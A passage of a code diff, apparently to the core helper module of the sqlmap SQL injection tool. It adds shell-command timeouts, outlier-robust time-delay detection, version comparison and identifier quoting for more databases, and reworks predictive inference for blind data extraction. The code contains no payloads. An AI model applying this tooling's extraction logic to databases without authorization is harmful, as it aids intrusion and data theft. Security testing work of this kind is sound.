-2283,9 +2370,14 @@ def showStaticWords(firstPage, secondPage, minLength=3): infoMsg = "static words: " if firstPage and secondPage: - match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) - commonText = firstPage[match[0]:match[0] + match[2]] - commonWords = getPageWordSet(commonText) + try: + match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) + commonText = firstPage[match[0]:match[0] + match[2]] + commonWords = getPageWordSet(commonText) + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can fail on pathological input / interpreter-level hiccups; skip + # the static-word hint rather than abort (see findDynamicContent / comparison.py) + commonWords = None else: commonWords = None @@ -2385,22 +2477,58 @@ def getConsoleWidth(default=80): return width or default -def shellExec(cmd): +def shellExec(cmd, timeout=None): """ - Executes arbitrary shell command + Executes arbitrary shell command, optionally bounded by 'timeout' seconds - killing (and + flagging) a hung child instead of blocking forever, as callers otherwise have no other + watchdog around this call (e.g. --vuln-test runs one such call per entry, unattended) >>> shellExec('echo 1').strip() == '1' True """ retVal = "" + timedOut = [] try: - retVal = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()[0] or "" + popenKwargs = {"shell": True, "stdout": subprocess.PIPE, "stderr": subprocess.STDOUT} + if timeout: + # shell=True's Popen.pid is the shell, not the (possibly grandchild) command it runs - + # killing just that pid leaves the real child holding the stdout pipe open, so + # communicate() keeps blocking past the deadline; run it in its own group/session instead + # so the whole tree can be killed at once + if IS_WIN: + popenKwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP + else: + popenKwargs["preexec_fn"] = os.setsid + + process = subprocess.Popen(cmd, **popenKwargs) + + def _kill(): + timedOut.append(True) + try: + if IS_WIN: + subprocess.call(["taskkill", "/F", "/T", "/PID", str(process.pid)]) + else: + os.killpg(os.getpgid(process.pid), signal.SIGKILL) + except Exception: + pass + + timer = threading.Timer(timeout, _kill) if timeout else None + if timer: + timer.daemon = True + timer.start() + + retVal = process.communicate()[0] or "" + + if timer: + timer.cancel() except Exception as ex: retVal = getSafeExString(ex) finally: retVal = getText(retVal) + if timedOut: + retVal += "\n[shellExec] child process tree killed after exceeding %d-second timeout" % timeout return retVal @@ -2455,7 +2583,7 @@ def getSQLSnippet(dbms, sfile, **variables): retVal = retVal.replace(_, randomStr()) for _ in re.findall(r"%RANDINT\d+%", retVal, re.I): - retVal = retVal.replace(_, randomInt()) + retVal = retVal.replace(_, getText(randomInt())) variables = re.findall(r"(?>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"] + >>> initCommonOutputs(); "users" in kb.commonOutputs["Tables"] True """ kb.commonOutputs = {} - key = None - with openFile(paths.COMMON_OUTPUTS, 'r') as f: - for line in f: - if line.find('#') != -1: - line = line[:line.find('#')] - - line = line.strip() - - if len(line) > 1: - if line.startswith('[') and line.endswith(']'): - key = line[1:-1] - elif key: - if key not in kb.commonOutputs: - kb.commonOutputs[key] = set() - - if line not in kb.commonOutputs[key]: - kb.commonOutputs[key].add(line) + for key, path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)): + try: + kb.commonOutputs[key] = set(getFileItems(path)) + except SqlmapSystemException: + kb.commonOutputs[key] = set() def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ @@ -2603,19 +2727,17 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un return retVal if not unique else list(retVal.keys()) -def goGoodSamaritan(prevValue, originalCharset): +def predictValue(prevValue, originalCharset): """ - Function for retrieving parameters needed for common prediction (good - samaritan) feature. + Predictive-inference helper: given the value retrieved so far (prefix), consult the + per-context common-identifier set (kb.commonOutputs[kb.partRun], from the common- + tables/common-columns wordlists) to shortcut blind extraction. prevValue: retrieved query output so far (e.g. 'i'). - Returns commonValue if there is a complete single match (in kb.partRun - of txt/common-outputs.txt under kb.partRun) regarding parameter - prevValue. If there is no single value match, but multiple, commonCharset is - returned containing more probable characters (retrieved from matched - values in txt/common-outputs.txt) together with the rest of charset as - otherCharset. + Returns commonValue when a single wordlist entry matches the prefix (the whole value + can be confirmed in one request); otherwise commonCharset holds the more probable + next characters (reordered ahead of otherCharset) so the bisection converges faster. """ if kb.commonOutputs is None: @@ -2674,7 +2796,7 @@ def goGoodSamaritan(prevValue, originalCharset): def getPartRun(alias=True): """ Goes through call stack and finds constructs matching - conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt' + conf.dbmsHandler.*. Returns it or its predictive-inference context alias (e.g. 'Tables'/'Columns') """ retVal = None @@ -2710,7 +2832,7 @@ def getPartRun(alias=True): def longestCommonPrefix(*sequences): """ - Returns longest common prefix occuring in given sequences + Returns longest common prefix occurring in given sequences # Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 @@ -2801,6 +2923,38 @@ def wasLastResponseHTTPError(): threadData = getCurrentThreadData() return threadData.lastHTTPError and threadData.lastHTTPError[0] == threadData.lastRequestUID +def stripTimeOutliers(values): + """ + Returns L{values} with high (spike) outliers removed, using a robust median/MAD cutoff. + + A single network spike that lands in the time-response model would otherwise inflate both the + average and the standard deviation, exploding the delay threshold (avg + 7*stdev) so that genuine + time-delays are no longer recognized. MAD is robust to a minority of outliers, so the cutoff is + computed from the clean bulk even when the sample already contains a spike. On a clean model no + value exceeds median + 10*MAD, so it is returned unchanged (identical avg/stdev/threshold). + + >>> len(stripTimeOutliers([0.1, 0.12] * 8 + [9.0])) # a lone 9s spike is dropped (17->16) + 16 + >>> len(stripTimeOutliers([0.1, 0.12] * 8)) # a clean model is left intact (no-op) + 16 + """ + + if not values or len(values) < MIN_TIME_RESPONSES // 2: + return values + + ordered = sorted(values) + median = ordered[len(ordered) // 2] + mad = sorted(abs(_ - median) for _ in values)[len(values) // 2] + + if mad <= 0: # degenerate (near-constant model) - nothing robust to trim on + return values + + cutoff = median + TIME_OUTLIER_MAD_COEFF * 1.4826 * mad + retVal = [_ for _ in values if _ <= cutoff] + + # never trim away the bulk (guards a genuinely wide/bimodal model from being gutted) + return retVal if len(retVal) >= max(MIN_TIME_RESPONSES // 2, len(values) // 2) else values + def wasLastResponseDelayed(): """ Returns True if the last web request resulted in a time-delay @@ -2810,7 +2964,10 @@ def wasLastResponseDelayed(): # response times should be inside +-7*stdev([normal response times]) # Math reference: http://www.answers.com/topic/standard-deviation - deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, [])) + # spike outliers (e.g. a GC pause / retransmit during baseline sampling) are stripped first, so a + # single lagging response can't inflate the model and hide every genuine delay behind it + sample = stripTimeOutliers(kb.responseTimes.get(kb.responseTimeMode, [])) + deviation = stdev(sample) threadData = getCurrentThreadData() if deviation and not conf.direct and not conf.disableStats: @@ -2819,7 +2976,7 @@ def wasLastResponseDelayed(): warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES logger.warning(warnMsg) - lowerStdLimit = average(kb.responseTimes[kb.responseTimeMode]) + TIME_STDEV_COEFF * deviation + lowerStdLimit = average(sample) + TIME_STDEV_COEFF * deviation retVal = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit)) if not kb.testMode and retVal: @@ -2876,19 +3033,22 @@ def extractErrorMessage(page): retVal = None if isinstance(page, six.string_types): - if wasLastResponseDBMSError(): - page = re.sub(r"<[^>]+>", "", page) - for regex in ERROR_PARSING_REGEXES: match = re.search(regex, page, re.IGNORECASE) if match: candidate = htmlUnescape(match.group("result")).replace("
    ", "\n").strip() - if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO): + # Note: only the generic '(fatal|error|warning|exception): ...' regexes can capture + # arbitrary prose, so guard those with the non-writing-char ratio; the specific + # DBMS-signature regexes (e.g. MSSQL 'Unclosed quotation mark ...') are definitive and + # must not be discarded just because the message happens to read like plain text + generic = "(fatal|error|warning|exception)" in regex + if candidate and (not generic or 1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO): retVal = candidate break if not retVal and wasLastResponseDBMSError(): + page = re.sub(r"<[^>]+>", "", page) match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE) if match: @@ -2904,6 +3064,7 @@ def findLocalPort(ports): retVal = None for port in ports: + s = None try: try: s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM) @@ -2915,10 +3076,11 @@ def findLocalPort(ports): except socket.error: pass finally: - try: - s.close() - except socket.error: - pass + if s is not None: + try: + s.close() + except socket.error: + pass return retVal @@ -2964,11 +3126,10 @@ def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_C result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value) else: result = value - charset = set(string.printable) - set(unsafe) def _(match): char = decodeHex(match.group(1), binary=False) - return char if char in charset else match.group(0) + return char if char not in unsafe else match.group(0) if spaceplus: result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case) @@ -3110,7 +3271,7 @@ def getPublicTypeMembers(type_, onlyValues=False): def enumValueToNameLookup(type_, value_): """ - Returns name of a enum member with a given value + Returns name of an enum member with a given value >>> enumValueToNameLookup(SORT_ORDER, 100) 'LAST' @@ -3168,6 +3329,45 @@ def extractTextTagContent(page): return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)) +def extractStructuralTokens(page): + """ + Returns a set of value-free structural tokens (tag names and class/id attribute hooks) of a + (HTML) page, discarding all textual content. Used for structure-aware page comparison when the + page is byte-unstable but structurally stable (e.g. dynamic result rows in a fixed layout), so + that dynamic text does not perturb the comparison while a structural change (e.g. a results + table appearing or disappearing) still does. HTML counterpart of jsonMinimize() + + >>> sorted(extractStructuralTokens(u'
    x
    ')) == [u'cls:div.a', u'cls:div.b', u'id:div#g', u'tag:div', u'tag:span'] + True + >>> extractStructuralTokens(u'
    1
    ') == set([u'tag:table', u'tag:tr', u'tag:td']) + True + >>> extractStructuralTokens(u'') == set() + True + """ + + page = page or "" + + if REFLECTED_VALUE_MARKER in page: + page = re.sub(r"(?i)<[^>]*%s[^>]*>" % REFLECTED_VALUE_MARKER, " ", page) + + page = re.sub(r"(?si)||", " ", page) + + retVal = set() + + for match in re.finditer(STRUCTURAL_TAG_REGEX, page): + tag = match.group(1).lower() + attrs = match.group(2) or "" + retVal.add("tag:%s" % tag) + for _ in re.finditer(STRUCTURAL_CLASS_REGEX, attrs): + for value in (_.group(1) or _.group(2) or _.group(3) or "").split(): + retVal.add("cls:%s.%s" % (tag, value)) + for _ in re.finditer(STRUCTURAL_ID_REGEX, attrs): + value = (_.group(1) or _.group(2) or _.group(3) or "").strip() + if value: + retVal.add("id:%s#%s" % (tag, value)) + + return retVal + def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value @@ -3209,7 +3409,16 @@ def isNumPosStrValue(value): return retVal -@cachedmethod +# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a +# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum() +# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via +# setdefault in dict order preserves the original first-match-wins semantics. +_DBMS_ALIAS_MAP = {} +for _dbmsKey, _dbmsItem in DBMS_DICT.items(): + for _dbmsAlias in _dbmsItem[0]: + _DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey) + _DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey) + def aliasToDbmsEnum(dbms): """ Returns major DBMS name from a given alias @@ -3218,21 +3427,17 @@ def aliasToDbmsEnum(dbms): 'Microsoft SQL Server' """ - retVal = None - - if dbms: - for key, item in DBMS_DICT.items(): - if dbms.lower() in item[0] or dbms.lower() == key.lower(): - retVal = key - break - - return retVal + return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None -def findDynamicContent(firstPage, secondPage): +def findDynamicContent(firstPage, secondPage, merge=False): """ This function checks if the provided pages have dynamic content. If they are dynamic, proper markings will be made + Note: with merge=True the newly found markings are accumulated into the + existing ones (e.g. when refining across multiple original-page samples) + instead of replacing them + >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.") >>> kb.dynamicMarkings [('natum reque et per. ', 'Facer tritani repreh')] @@ -3244,8 +3449,17 @@ def findDynamicContent(firstPage, secondPage): infoMsg = "searching for dynamic content" singleTimeLogMessage(infoMsg) - blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) - kb.dynamicMarkings = [] + try: + blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can blow up on pathological/oversized input (and, rarely, with + # interpreter-level errors under heavy threading); a failed dynamic-content + # search must degrade gracefully rather than abort the whole scan - mirrors the + # guard around the ratio computation in lib/request/comparison.py + return + + if not merge: + kb.dynamicMarkings = [] # Removing too small matching blocks for block in blocks[:]: @@ -3274,7 +3488,7 @@ def findDynamicContent(firstPage, secondPage): suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH] for _ in (firstPage, secondPage): - match = re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _) + match = re.search(r"(?s)%s(.+?)%s" % (re.escape(prefix), re.escape(suffix)), _) if match: infix = match.group(1) if infix[0].isalnum(): @@ -3283,7 +3497,9 @@ def findDynamicContent(firstPage, secondPage): suffix = trimAlphaNum(suffix) break - kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None)) + marking = (prefix if prefix else None, suffix if suffix else None) + if marking not in kb.dynamicMarkings: # Note: avoiding duplicates (e.g. when accumulating markings across samples) + kb.dynamicMarkings.append(marking) if len(kb.dynamicMarkings) > 0: infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') @@ -3302,11 +3518,11 @@ def removeDynamicContent(page): if prefix is None and suffix is None: continue elif prefix is None: - page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page) + page = re.sub(r"(?s)^.+?%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page) elif suffix is None: page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page) else: - page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) + page = re.sub(r"(?s)%s.+?%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) return page @@ -3381,42 +3597,40 @@ def isDBMSVersionAtLeast(minimum): if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION: version = Backend.getVersion().replace(" ", "").rstrip('.') - correction = 0.0 + # Note: a fuzzy/ranged detected version (e.g. '>2', '<2') is captured as a sign so an + # otherwise-equal comparison still resolves in the right direction + vSign = 0 if ">=" in version: pass elif '>' in version: - correction = VERSION_COMPARISON_CORRECTION + vSign = 1 elif '<' in version: - correction = -VERSION_COMPARISON_CORRECTION + vSign = -1 version = extractRegexResult(r"(?P[0-9][0-9.]*)", version) if version: - if '.' in version: - parts = version.split('.', 1) - parts[1] = filterStringValue(parts[1], '[0-9]') - version = '.'.join(parts) + minimum = minimum if isinstance(minimum, six.string_types) else getUnicode(minimum) - try: - version = float(filterStringValue(version, '[0-9.]')) + correction - except ValueError: - return None - - if isinstance(minimum, six.string_types): - if '.' in minimum: - parts = minimum.split('.', 1) - parts[1] = filterStringValue(parts[1], '[0-9]') - minimum = '.'.join(parts) - - correction = 0.0 - if minimum.startswith(">="): - pass - elif minimum.startswith(">"): - correction = VERSION_COMPARISON_CORRECTION + mSign = 0 + if minimum.startswith(">="): + pass + elif minimum.startswith(">"): + mSign = 1 + + minimum = extractRegexResult(r"(?P[0-9][0-9.]*)", minimum) - minimum = float(filterStringValue(minimum, '[0-9.]')) + correction + if minimum: + # Note: compare dotted versions component-wise as int tuples, not as floats; a float + # collapses e.g. 5.4.3->5.43 and 5.10.0->5.100(==5.1), silently mis-ordering multi-part + # or multi-digit-minor versions (MariaDB 10.11, PostgreSQL 9.10, Presto 0.99 vs 0.178) + vParts = tuple(int(_) for _ in re.findall(r"\d+", version)) + mParts = tuple(int(_) for _ in re.findall(r"\d+", minimum)) + length = max(len(vParts), len(mParts)) + vParts += (0,) * (length - len(vParts)) + mParts += (0,) * (length - len(mParts)) - retVal = version >= minimum + retVal = (vParts, vSign) >= (mParts, mSign) return retVal @@ -3557,8 +3771,8 @@ def setOptimize(): Sets options turned on by switch '-o' """ - # conf.predictOutput = True - conf.keepAlive = True + # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers); predictive + # inference is now an inherent, always-on part of blind name enumeration (no longer a switch) conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) @@ -3630,6 +3844,8 @@ def initTechnique(technique=None): if data: kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place) kb.matchRatio = data.matchRatio + kb.trueLength = data.get("trueLength") # NOTE: absent in sessions stored before the '--lengths' switch was introduced + kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE) # Restoring stored conf options @@ -3686,8 +3902,8 @@ def unArrayizeValue(value): if isListLike(value): if not value: value = None - elif len(value) == 1 and not isListLike(value[0]): - value = value[0] + elif len(value) == 1 and not isListLike(next(iter(value))): # Note: next(iter(...)) not value[0] - a set/OrderedSet is list-like but not subscriptable + value = next(iter(value)) else: value = [_ for _ in flattenValue(value) if _ is not None] value = value[0] if len(value) > 0 else None @@ -3724,7 +3940,7 @@ def joinValue(value, delimiter=','): """ if isListLike(value): - retVal = delimiter.join(getText(_ if _ is not None else "None") for _ in value) + retVal = delimiter.join(getText(getUnicode(_) if _ is not None else "None") for _ in value) else: retVal = value @@ -3817,6 +4033,13 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", if 'b' in mode: buffering = 0 encoding = None + elif buffering == 1 and codecs_open is codecs.open: + # codecs.open() always opens the underlying file in binary mode, where line buffering + # (buffering=1) is unsupported: on Python 3.12+ it emits a benign RuntimeWarning and is + # silently downgraded to the default buffer size anyway. Request that default explicitly + # so the warning never reaches users (the >=3.14 _codecs_open shim handles buffering=1 + # itself, preserving flush-on-newline, so this only adjusts the legacy codecs.open path). + buffering = -1 if filename == STDIN_PIPE_DASH: if filename not in kb.cache.content: @@ -3859,8 +4082,9 @@ def decodeIntToUnicode(value): retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) elif Backend.isDbms(DBMS.MSSQL): # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 - retVal = getUnicode(raw, "UTF-16-BE") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) + # supplementary codepoints (>0xFFFF, _SC collations) aren't 2-byte UTF-16; decode direct + retVal = _unichr(value) if value > 0xFFFF else getUnicode(raw, "UTF-16-BE") + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.PRESTO, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.MONETDB, DBMS.VERTICA, DBMS.SPANNER): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/); Spanner via TO_CODE_POINTS retVal = _unichr(value) else: retVal = getUnicode(raw, conf.encoding) @@ -4009,7 +4233,7 @@ def createGithubIssue(errMsg, excMsg): pass data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} - token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_OAUTH_TOKEN[::-1], binary=True))[0::2][::-1]) + token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_PAT_TOKEN[::-1], binary=True))[0::2][::-1]) req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: @@ -4113,20 +4337,31 @@ def intersect(containerA, containerB, lowerCase=False): def decodeStringEscape(value): """ Decodes escaped string values (e.g. "\\t" -> "\t") + + >>> decodeStringEscape("a" + chr(92) + "tb") == "a" + chr(9) + "b" + True + >>> decodeStringEscape(chr(92) + chr(0)) == chr(92) + chr(0) # a NUL in the data must be preserved, not rewritten to a backslash + True """ retVal = value if value and '\\' in value: - charset = "\\%s" % string.whitespace.replace(" ", "") - for _ in charset: - retVal = retVal.replace(repr(_).strip("'"), _) + # Note: single left-to-right pass so an escaped backslash ('\\\\') shields the next char + # (a literal '\\n' stays '\\n', not a newline) WITHOUT a sentinel that could collide with a + # pre-existing byte (e.g. a NUL in the data) and get rewritten on restore + _mapping = dict((repr(_).strip("'"), _) for _ in string.whitespace.replace(" ", "")) + _mapping["\\\\"] = "\\" + retVal = re.sub("|".join(re.escape(_) for _ in ["\\\\"] + list(_mapping)), lambda match: _mapping[match.group(0)], retVal) return retVal def encodeStringEscape(value): """ Encodes escaped string values (e.g. "\t" -> "\\t") + + >>> encodeStringEscape("a" + chr(9) + "b") == "a" + chr(92) + "tb" + True """ retVal = value @@ -4167,7 +4402,12 @@ def _(value): # Note: naive approach retVal = content.replace(payload, REFLECTED_VALUE_MARKER) - retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) + + # Note: guard against an empty needle (payload composed solely of word chars), as + # str.replace("", X) would insert X between every character and explode the page + _stripped = re.sub(r"\A\w+", "", payload) + if _stripped: + retVal = retVal.replace(_stripped, REFLECTED_VALUE_MARKER) if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) @@ -4274,7 +4514,10 @@ def safeSQLIdentificatorNaming(name, isTable=False): '[begin]' >>> getText(safeSQLIdentificatorNaming("foobar")) 'foobar' - >>> kb.forceDbms = popValue() + >>> kb.forcedDbms = DBMS.FIREBIRD + >>> getText(safeSQLIdentificatorNaming("foo bar")) + '"foo bar"' + >>> kb.forcedDbms = popValue() """ retVal = name @@ -4284,7 +4527,11 @@ def safeSQLIdentificatorNaming(name, isTable=False): if isinstance(name, six.string_types): retVal = getUnicode(name) - _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) + # Resolve the identified DBMS once; it is invariant within this call and + # Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise + # re-evaluated several times below. + dbms = Backend.getIdentifiedDbms() + _ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE) if _: retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) @@ -4294,13 +4541,13 @@ def safeSQLIdentificatorNaming(name, isTable=False): if not conf.noEscape: retVal = unsafeSQLIdentificatorNaming(retVal) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) + if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): + elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): retVal = "\"%s\"" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA): retVal = "\"%s\"" % retVal.upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + elif dbms in (DBMS.MSSQL, DBMS.SYBASE): if isTable: parts = retVal.split('.', 1) for i in xrange(len(parts)): @@ -4333,16 +4580,21 @@ def unsafeSQLIdentificatorNaming(name): retVal = name if isinstance(name, six.string_types): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): + # Resolve the identified DBMS once; it is invariant within this call, and + # Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously + # it was re-evaluated up to five times per call. + dbms = Backend.getIdentifiedDbms() + + if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): + elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): retVal = name.replace("\"", "") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA): retVal = name.replace("\"", "").upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + elif dbms in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") - if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + if dbms in (DBMS.MSSQL, DBMS.SYBASE): retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) return retVal @@ -4481,14 +4733,20 @@ def safeCSValue(value): '"foo, bar"' >>> safeCSValue('foobar') 'foobar' + >>> safeCSValue('foo\\rbar') + '"foo\\rbar"' + >>> safeCSValue('foo"bar') == '"foo""bar"' + True """ retVal = value + # Note: always RFC-4180 escape a value that contains the delimiter, a quote or a newline; an + # earlier "skip if it already begins and ends with a quote" heuristic corrupted cells whose + # content legitimately starts and ends with '"' (e.g. '"a","b"' or a lone '"') if retVal and isinstance(retVal, six.string_types): - if not (retVal[0] == retVal[-1] == '"'): - if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): - retVal = '"%s"' % retVal.replace('"', '""') + if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')): + retVal = '"%s"' % retVal.replace('"', '""') return retVal @@ -4520,8 +4778,6 @@ def randomizeParameterValue(value): retVal = value - retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal) - def _replace_upper(match): original = match.group() while True: @@ -4543,9 +4799,15 @@ def _replace_digit(match): if candidate != original: return candidate - retVal = re.sub(r"[A-Z]+", _replace_upper, retVal) - retVal = re.sub(r"[a-z]+", _replace_lower, retVal) - retVal = re.sub(r"[0-9]+", _replace_digit, retVal) + def _randomize(segment): + segment = re.sub(r"[A-Z]+", _replace_upper, segment) + segment = re.sub(r"[a-z]+", _replace_lower, segment) + segment = re.sub(r"[0-9]+", _replace_digit, segment) + return segment + + # Note: keep %XX percent-encoded bytes 